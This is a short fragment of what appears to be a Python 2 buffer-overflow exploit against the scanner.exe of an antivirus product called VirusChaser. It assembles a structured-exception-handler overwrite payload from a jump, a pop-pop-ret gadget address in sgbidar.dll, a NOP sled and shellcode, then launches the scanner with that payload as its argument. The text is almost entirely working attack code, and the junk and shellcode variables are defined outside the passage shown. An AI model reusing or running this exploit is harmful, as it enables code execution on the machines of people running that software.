jmp ="\xeb\x0b\x41\x41"  ## JMP 0B 
ret = pack('<L',0x10010c81)  #pop ECX #pop ESI #RET [sgbidar.dll]  (magic addr)
nop = "\x90"*24
payload = junk + jmp + ret + nop + shellcode
print payload
os.system("C:\\\"Program Files\\VirusChaser\\scanner.exe\" \"" + payload + "\"")